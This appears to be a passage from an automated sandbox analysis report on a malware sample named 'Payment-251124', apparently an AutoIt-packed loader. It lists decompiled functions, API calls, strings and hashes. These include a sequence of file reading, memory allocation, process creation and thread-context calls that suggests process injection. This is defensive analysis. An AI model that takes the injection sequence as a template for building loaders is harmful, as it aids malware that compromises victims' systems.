VirtualFree 1071->1074 1072->1071 1073->1024 1073->1029 1074->1073
                                                        APIs
                                                        • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 015F8301
                                                        • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 015F8527
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715787633.00000000015F5000.00000040.00000020.00020000.00000000.sdmp, Offset: 015F5000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_15f5000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CreateFileFreeVirtual
                                                        • String ID:
                                                        • API String ID: 204039940-0
                                                        • Opcode ID: d349c2c11462b54f33c86561be68849ac3e84e681e3d8bb3fdc8e10bc75df865
                                                        • Instruction ID: ada5d3b723707ff0be9544e7ca74693048e71fea2c0a771e625624b7c3be5d72
                                                        • Opcode Fuzzy Hash: d349c2c11462b54f33c86561be68849ac3e84e681e3d8bb3fdc8e10bc75df865
                                                        • Instruction Fuzzy Hash: 31A10474E00209EBDB14CFA8C898BEEBBB5FF48304F20855DE615BB290D7759A41CB65
                                                        Function 00EC49FB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73registryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1130 ec49fb-ec4a25 call ecbcce RegOpenKeyExW 1133 ec4a2b-ec4a2f 1130->1133 1134 f341cc-f341e3 RegQueryValueExW 1130->1134 1135 f34246-f3424f RegCloseKey 1134->1135 1136 f341e5-f34222 call edf4ea call ec47b7 RegQueryValueExW 1134->1136 1141 f34224-f3423b call ec6a63 1136->1141 1142 f3423d-f34245 call ec47e2 1136->1142 1141->1142 1142->1135
                                                        APIs
                                                        • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?), ref: 00EC4A1D
                                                        • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00F341DB
                                                        • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00F3421A
                                                        • RegCloseKey.ADVAPI32(?), ref: 00F34249
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: QueryValue$CloseOpen
                                                        • String ID: Include$Software\AutoIt v3\AutoIt
                                                        • API String ID: 1586453840-614718249
                                                        • Opcode ID: 274356bc3390e80b22cd40023abe36db9e4d4fd91075892429a2c8655915d8d4
                                                        • Instruction ID: 543864e479f1812e9a78479ad3e288b06463df0576cfdb84ce6e1afcf3939b47
                                                        • Opcode Fuzzy Hash: 274356bc3390e80b22cd40023abe36db9e4d4fd91075892429a2c8655915d8d4
                                                        • Instruction Fuzzy Hash: F6119075A01108BEDB10EBA8CD86EAF7BACEF15354F001059B506E3191EA71AE02E710
                                                        Function 00EC36B8 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1157 ec36b8-ec3728 CreateWindowExW * 2 ShowWindow * 2
                                                        APIs
                                                        • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00EC36E6
                                                        • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00EC3707
                                                        • ShowWindow.USER32(00000000,?,?,?,?,00EC3AA3,?), ref: 00EC371B
                                                        • ShowWindow.USER32(00000000,?,?,?,?,00EC3AA3,?), ref: 00EC3724
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$CreateShow
                                                        • String ID: AutoIt v3$edit
                                                        • API String ID: 1584632944-3779509399
                                                        • Opcode ID: 5096ce26bf0291a708c2a09848018e603c5177b45d675ebf64f1c22616558e5f
                                                        • Instruction ID: ddf1f264fe0e3e175c9fb3aba20e453c9d503eb92889c31ead36a329ff6506ff
                                                        • Opcode Fuzzy Hash: 5096ce26bf0291a708c2a09848018e603c5177b45d675ebf64f1c22616558e5f
                                                        • Instruction Fuzzy Hash: 71F03A745402D87AE7315757AC08EB73E7DE7C7F20B00011ABA04E21B1C1650886FBB1
                                                        Function 015F7FF0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 148fileCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1262 15f7ff0-15f812a call 15f5c40 call 15f7ee0 CreateFileW 1269 15f812c 1262->1269 1270 15f8131-15f8141 1262->1270 1271 15f81e1-15f81e6 1269->1271 1273 15f8148-15f8162 VirtualAlloc 1270->1273 1274 15f8143 1270->1274 1275 15f8166-15f817d ReadFile 1273->1275 1276 15f8164 1273->1276 1274->1271 1277 15f817f 1275->1277 1278 15f8181-15f81bb call 15f7f20 call 15f6ee0 1275->1278 1276->1271 1277->1271 1283 15f81bd-15f81d2 call 15f7f70 1278->1283 1284 15f81d7-15f81df ExitProcess 1278->1284 1283->1284 1284->1271
                                                        APIs
                                                          • Part of subcall function 015F7EE0: Sleep.KERNELBASE(000001F4), ref: 015F7EF1
                                                        • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 015F8120
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715787633.00000000015F5000.00000040.00000020.00020000.00000000.sdmp, Offset: 015F5000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_15f5000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CreateFileSleep
                                                        • String ID: HJT8EBHRYVWMHN5AJF9HP9
                                                        • API String ID: 2694422964-1262298221
                                                        • Opcode ID: a524a7b12876818b9eb9b6d0a8a1a306363c59113d2272fe233066a25932015a
                                                        • Instruction ID: 7fda5ae4618c8188bf0e8b4bae7bb7b0d6305e6ff27616c80e821a437335d047
                                                        • Opcode Fuzzy Hash: a524a7b12876818b9eb9b6d0a8a1a306363c59113d2272fe233066a25932015a
                                                        • Instruction Fuzzy Hash: 66518231D04248DBEF11DBB4C854BEEBBB5AF59304F04459DE248BB2C1D6B91B48CBA5
                                                        Function 00EC4139 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 258COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1286 ec4139-ec4160 call ec41a9 1289 f33489-f33499 call f0c396 1286->1289 1290 ec4166-ec4174 call ec41a9 1286->1290 1294 f3349e-f334a0 1289->1294 1290->1289 1295 ec417a-ec4180 1290->1295 1296 f334a2-f334a5 call ec4252 1294->1296 1297 f334bf-f33507 call edf4ea 1294->1297 1300 f334aa-f334b9 call f06b49 1295->1300 1301 ec4186-ec41a6 call ecc833 1295->1301 1296->1300 1306 f33509-f33526 call ec496c 1297->1306 1307 f33528 1297->1307 1300->1297 1310 f3352a-f3353d 1306->1310 1307->1310 1312 f33543 1310->1312 1313 f336b4-f336b7 call ee1c9d 1310->1313 1315 f3354a-f3354d call ec4f30 1312->1315 1316 f336bc-f336c5 call ec4252 1313->1316 1318 f33552-f33574 call ecbbfc call f09cab 1315->1318 1323 f336c7-f336d7 call ec4f11 call edd8f5 1316->1323 1329 f33576-f33583 1318->1329 1330 f33588-f33592 call f09c95 1318->1330 1336 f336dc-f3370c call f025b5 call edf55e call ee1c9d call ec4252 1323->1336 1332 f3367b-f3368b call ecba85 1329->1332 1338 f33594-f335a7 1330->1338 1339 f335ac-f335b6 call f09c7f 1330->1339 1332->1318 1341 f33691-f3369b call ec4dd9 1332->1341 1336->1323 1338->1332 1348 f335ca-f335d4 call edd90c 1339->1348 1349 f335b8-f335c5 1339->1349 1347 f336a0-f336ae 1341->1347 1347->1313 1347->1315 1348->1332 1354 f335da-f335f2 call f02551 1348->1354 1349->1332 1360 f33615-f33618 1354->1360 1361 f335f4-f33613 call ecce19 call eccb37 1354->1361 1363 f33646-f33649 1360->1363 1364 f3361a-f33635 call ecce19 call edc2a5 call eccb37 1360->1364 1385 f33636-f33644 call ecbbfc 1361->1385 1366 f3364b-f33654 call f02472 1363->1366 1367 f33669-f3366c call f09c12 1363->1367 1364->1385 1366->1336 1379 f3365a-f33664 call edf55e 1366->1379 1374 f33671-f3367a call edf55e 1367->1374 1374->1332 1379->1318 1385->1374
                                                        APIs
                                                          • Part of subcall function 00EC41A9: LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,00EC39FE,?,00000001), ref: 00EC41DB
                                                        • _free.LIBCMT ref: 00F336B7
                                                        • _free.LIBCMT ref: 00F336FE
                                                          • Part of subcall function 00ECC833: __wsplitpath.LIBCMT ref: 00ECC93E
                                                          • Part of subcall function 00ECC833: _wcscpy.LIBCMT ref: 00ECC953
                                                          • Part of subcall function 00ECC833: _wcscat.LIBCMT ref: 00ECC968
                                                          • Part of subcall function 00ECC833: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000001,?,?,00000000), ref: 00ECC978
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: _free$CurrentDirectoryLibraryLoad__wsplitpath_wcscat_wcscpy
                                                        • String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
                                                        • API String ID: 805182592-1757145024
                                                        • Opcode ID: 3cf626604c1977f14dd8bd9f2c18d504ff50a03cb0c72186244765e648fbb9d3
                                                        • Instruction ID: 5feb193a17d0f06833eff7995f5d235cb7b5d277f7c133247cbdbd08c824cce9
                                                        • Opcode Fuzzy Hash: 3cf626604c1977f14dd8bd9f2c18d504ff50a03cb0c72186244765e648fbb9d3
                                                        • Instruction Fuzzy Hash: EA915F71910219AFCF04EFA4CD52EEDB7B4BF08320F14442AF816BB291DB75AA55DB50
                                                        Function 00EC4A30 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 138COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EC5374: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00F81148,?,00EC61FF,?,00000000,00000001,00000000), ref: 00EC5392
                                                          • Part of subcall function 00EC49FB: RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?), ref: 00EC4A1D
                                                        • _wcscat.LIBCMT ref: 00F32D80
                                                        • _wcscat.LIBCMT ref: 00F32DB5
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: _wcscat$FileModuleNameOpen
                                                        • String ID: \$\Include\
                                                        • API String ID: 3592542968-2640467822
                                                        • Opcode ID: 5193286e04657cb406638120fff0893393bda685f9157b32cf650ad518f38b42
                                                        • Instruction ID: d20953e59a451694eeb9e06c483fe4187e88051d11c2e55689f4f315520f6d99
                                                        • Opcode Fuzzy Hash: 5193286e04657cb406638120fff0893393bda685f9157b32cf650ad518f38b42
                                                        • Instruction Fuzzy Hash: 3D51D4724047448FC794EF55DE899EAB3F4FF49310B60192EF648A3261DB31A909EB52
                                                        Function 00EE34AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __getstream.LIBCMT ref: 00EE34FE
                                                          • Part of subcall function 00EE7C0E: __getptd_noexit.LIBCMT ref: 00EE7C0E
                                                        • @_EH4_CallFilterFunc@8.LIBCMT ref: 00EE3539
                                                        • __wopenfile.LIBCMT ref: 00EE3549
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CallFilterFunc@8__getptd_noexit__getstream__wopenfile
                                                        • String ID: <G
                                                        • API String ID: 1820251861-2138716496
                                                        • Opcode ID: 8697e223e7b7548fcbff8bc0da0279dea9b6eb54d2f943229888057aaca2cb2a
                                                        • Instruction ID: ef7a447a4b35a8e17ce0ee6f8f008c13222ecce0edafec82b734da17a7c1ccd7
                                                        • Opcode Fuzzy Hash: 8697e223e7b7548fcbff8bc0da0279dea9b6eb54d2f943229888057aaca2cb2a
                                                        • Instruction Fuzzy Hash: E1110A70A0038E9FDB21BF778C4266E76E4AF45350F159425E429FB2C5EB30CA0197A2
                                                        Function 00EDD298 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,00EDD28B,SwapMouseButtons,00000004,?), ref: 00EDD2BC
                                                        • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,00EDD28B,SwapMouseButtons,00000004,?,?,?,?,00EDC865), ref: 00EDD2DD
                                                        • RegCloseKey.KERNELBASE(00000000,?,?,00EDD28B,SwapMouseButtons,00000004,?,?,?,?,00EDC865), ref: 00EDD2FF
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CloseOpenQueryValue
                                                        • String ID: Control Panel\Mouse
                                                        • API String ID: 3677997916-824357125
                                                        • Opcode ID: a027dea29098a67943c27d9e3ea21c20dae932a4685e4d767b363825c20b79a8
                                                        • Instruction ID: a29cb0e513ac589f58c568b570840443d7e9e6b3108db42e867cd329f4c1fa04
                                                        • Opcode Fuzzy Hash: a027dea29098a67943c27d9e3ea21c20dae932a4685e4d767b363825c20b79a8
                                                        • Instruction Fuzzy Hash: 5E113C75615208FFDB208F68CC84EEF7BB8EF55744F10546AE805E7250D6319E42AB60
                                                        Function 015F6EE0 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateProcessW.KERNELBASE(?,00000000), ref: 015F769B
                                                        • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 015F7731
                                                        • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 015F7753
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715787633.00000000015F5000.00000040.00000020.00020000.00000000.sdmp, Offset: 015F5000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_15f5000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                        • String ID:
                                                        • API String ID: 2438371351-0
                                                        • Opcode ID: 91de96a0508c6d9b88b93d6c14255c09b3dee72855056c89e06ebe7f8a996ab2
                                                        • Instruction ID: ccf413c854733609029d7d81785edde47066930cd34c5cc1dc9458acf061fb5e
                                                        • Opcode Fuzzy Hash: 91de96a0508c6d9b88b93d6c14255c09b3dee72855056c89e06ebe7f8a996ab2
                                                        • Instruction Fuzzy Hash: F9620A30A14658DBEB24CFA4C840BDEB772FF58300F1095A9D20DEB290E7769E81CB59
                                                        Function 00F0C396 Relevance: 6.2, APIs: 4, Instructions: 154COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EC4517: _fseek.LIBCMT ref: 00EC452F
                                                          • Part of subcall function 00F0C56D: _wcscmp.LIBCMT ref: 00F0C65D
                                                          • Part of subcall function 00F0C56D: _wcscmp.LIBCMT ref: 00F0C670
                                                        • _free.LIBCMT ref: 00F0C4DD
                                                        • _free.LIBCMT ref: 00F0C4E4
                                                        • _free.LIBCMT ref: 00F0C54F
                                                          • Part of subcall function 00EE1C9D: RtlFreeHeap.NTDLL(00000000,00000000,?,00EE7A85), ref: 00EE1CB1
                                                          • Part of subcall function 00EE1C9D: GetLastError.KERNEL32(00000000,?,00EE7A85), ref: 00EE1CC3
                                                        • _free.LIBCMT ref: 00F0C557
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
                                                        • String ID:
                                                        • API String ID: 1552873950-0
                                                        • Opcode ID: 2db9d723d2f1f24614347a7e6fc8c80c315d14cd5ac174f49895e1fbecc6b5fc
                                                        • Instruction ID: e8813c05a5353f79ed3d60fdc4ef17f9574dbeb11c8cb6bc80df6766d16a893a
                                                        • Opcode Fuzzy Hash: 2db9d723d2f1f24614347a7e6fc8c80c315d14cd5ac174f49895e1fbecc6b5fc
                                                        • Instruction Fuzzy Hash: C1514BB5904219AFDF189F64DC81BADBBB9FF48314F1000AEB259B3281DB715A809F58
                                                        Function 00EDEB83 Relevance: 6.1, APIs: 4, Instructions: 65timewindowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _memset.LIBCMT ref: 00EDEBB2
                                                          • Part of subcall function 00EC51AF: _memset.LIBCMT ref: 00EC522F
                                                          • Part of subcall function 00EC51AF: _wcscpy.LIBCMT ref: 00EC5283
                                                          • Part of subcall function 00EC51AF: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00EC5293
                                                        • KillTimer.USER32(?,00000001,?,?), ref: 00EDEC07
                                                        • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00EDEC16
                                                        • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00F33C88
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
                                                        • String ID:
                                                        • API String ID: 1378193009-0
                                                        • Opcode ID: 107c479566a124b8ee881fd129ec50b371be72c547db0e1ca3b7fd12473e6e17
                                                        • Instruction ID: cd0f37b2ecf9389c8ca7f2ad61b26c0ad7e9600403dff37e5ee50e366f8e2b30
                                                        • Opcode Fuzzy Hash: 107c479566a124b8ee881fd129ec50b371be72c547db0e1ca3b7fd12473e6e17
                                                        • Instruction Fuzzy Hash: 8D21DA759047949FE733D7248C59BEBFBEC9B11318F04144DE68A6A341C3742A85DB51
                                                        Function 00EC40E5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _memset.LIBCMT ref: 00F33725
                                                        • GetOpenFileNameW.COMDLG32 ref: 00F3376F
                                                          • Part of subcall function 00EC660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00EC53B1,?,?,00EC61FF,?,00000000,00000001,00000000), ref: 00EC662F
                                                          • Part of subcall function 00EC40A7: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00EC40C6
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Name$Path$FileFullLongOpen_memset
                                                        • String ID: X
                                                        • API String ID: 3777226403-3081909835
                                                        • Opcode ID: 59895e6d8730373523b2de7e7ea9c9f71ba08ade6be19bbcb01558541a028436
                                                        • Instruction ID: 2095b7840297fa8eb60cfd57b24db4630010814abb824d1f074759af32e6b3ed
                                                        • Opcode Fuzzy Hash: 59895e6d8730373523b2de7e7ea9c9f71ba08ade6be19bbcb01558541a028436
                                                        • Instruction Fuzzy Hash: FB21C6B1A10198ABCB01DFD4C845BDE7BF89F49304F00801AE405B7281DBB55A8A9F66
                                                        Function 00F0C71A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetTempPathW.KERNEL32(00000104,?), ref: 00F0C72F
                                                        • GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00F0C746
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Temp$FileNamePath
                                                        • String ID: aut
                                                        • API String ID: 3285503233-3010740371
                                                        • Opcode ID: 5a2d09fc54a73ca9b81d3a6e4e9801b7689427919765bf0621f9d3b0f402925c
                                                        • Instruction ID: b296ac49c75749f7209366eff320a277fc14aa8507e9ec9e2cf1fe829c6b4c54
                                                        • Opcode Fuzzy Hash: 5a2d09fc54a73ca9b81d3a6e4e9801b7689427919765bf0621f9d3b0f402925c
                                                        • Instruction Fuzzy Hash: 04D05E7550030EBBDB50ABA0EC0EF8A777C9710704F0001A1BB54A50B1DAF0E7999B56
                                                        Function 00F1F8AE Relevance: 4.9, APIs: 3, Instructions: 385COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: a3e698836ae71f283b4c51b286dfa762643913dd266956e2898861af98cc87d9
                                                        • Instruction ID: 94dc8bc1fc1015e002e66d329b8b0d0b27c7ad5f8da2fea4947150c517b7bd7d
                                                        • Opcode Fuzzy Hash: a3e698836ae71f283b4c51b286dfa762643913dd266956e2898861af98cc87d9
                                                        • Instruction Fuzzy Hash: 70F16A716083019FC710DF24C981B6AB7E5FF88314F14892EF9959B392DB35E949DB82
                                                        Function 00EE395C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE
                                                        Download Yara Rule
